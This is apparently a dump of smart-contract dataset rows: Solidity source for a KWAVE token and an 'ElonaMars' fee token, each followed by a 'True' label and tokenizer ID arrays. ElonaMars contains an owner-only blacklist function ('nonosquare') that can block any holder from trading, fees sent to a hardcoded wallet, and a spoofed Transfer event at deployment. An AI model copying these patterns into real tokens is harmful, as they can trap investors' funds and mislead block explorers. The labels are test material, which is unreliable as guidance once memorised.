function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract Freezable is Context {
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
mapping(address => bool) private _frozenAccount;
modifier whenNotFrozen(address holder) {
require(!_frozenAccount[holder]);
_;
}
function isFrozen(address holder) public view virtual returns (bool frozen) {
return _frozenAccount[holder];
}
function _freezeAccount(address holder) internal virtual returns (bool success) {
require(!isFrozen(holder));
_frozenAccount[holder] = true;
emit Freeze(holder);
success = true;
}
function _unfreezeAccount(address holder) internal virtual returns (bool success) {
require(isFrozen(holder));
_frozenAccount[holder] = false;
emit Unfreeze(holder);
success = true;
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20, Ownable {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
contract KWAVE is ERC20, Pausable, Freezable, ERC20Burnable {
constructor() ERC20("K WAVE", "KWAVE") {
_mint(msg.sender, 3000000000 * (10 ** decimals()));
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function freezeAccount(address holder) public onlyOwner {
_freezeAccount(holder);
}
function unfreezeAccount(address holder) public onlyOwner {
_unfreezeAccount(holder);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal whenNotPaused whenNotFrozen(from) override {
super._beforeTokenTransfer(from, to, amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
2538,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1019,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
3853,
3954,
1006,
1007,
2270,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
3954,
1006,
1007,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
2219,
3085,
1024,
2047,
3954,
2003,
1996,
5717,
4769,
1000,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
1035,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
10061,
3206,
2489,
4143,
3468,
2003,
6123,
1063,
2724,
13184,
1006,
4769,
25331,
9111,
1007,
1025,
2724,
4895,
23301,
4371,
1006,
4769,
25331,
9111,
1007,
1025,
12375,
1006,
4769,
1027,
1028,
22017,
2140,
1007,
2797,
1035,
7708,
6305,
3597,
16671,
1025,
16913,
18095,
2043,
17048,
19699,
18153,
2368,
1006,
4769,
9111,
1007,
1063,
5478,
1006,
999,
1035,
7708,
6305,
3597,
16671,
1031,
9111,
1033,
1007,
1025,
1035,
1025,
1065,
3853,
2003,
19699,
18153,
2368,
1006,
4769,
9111,
1007,
2270,
3193,
7484,
5651,
1006,
22017,
2140,
7708,
1007,
1063,
2709,
1035,
7708,
6305,
3597,
16671,
1031,
9111,
1033,
1025,
1065,
3853,
1035,
13184,
6305,
3597,
16671,
1006,
4769,
9111,
1007,
4722,
7484,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
5478,
1006,
999,
2003,
19699,
18153,
2368,
1006,
9111,
1007,
1007,
1025,
1035,
7708,
6305,
3597,
16671,
1031,
9111,
1033,
1027,
2995,
1025,
12495,
2102,
13184,
1006,
9111,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/**
https://t.me/ElonaMars
*/
pragma solidity ^0.8.12;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonaMars is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "ElonaMars";
string private constant _symbol = "ElonaMars";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xBdB16b65130E323546941d9C49d4FEa603B08C21);
_feeAddrWallet2 = payable(0xBdB16b65130E323546941d9C49d4FEa603B08C21);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xBdB16b65130E323546941d9C49d4FEa603B08C21), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount/10*2);
_feeAddrWallet1.transfer(amount/10*8);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2321,
1008,
1013,
1013,
1008,
1008,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
3449,
7856,
7849,
2015,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2260,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
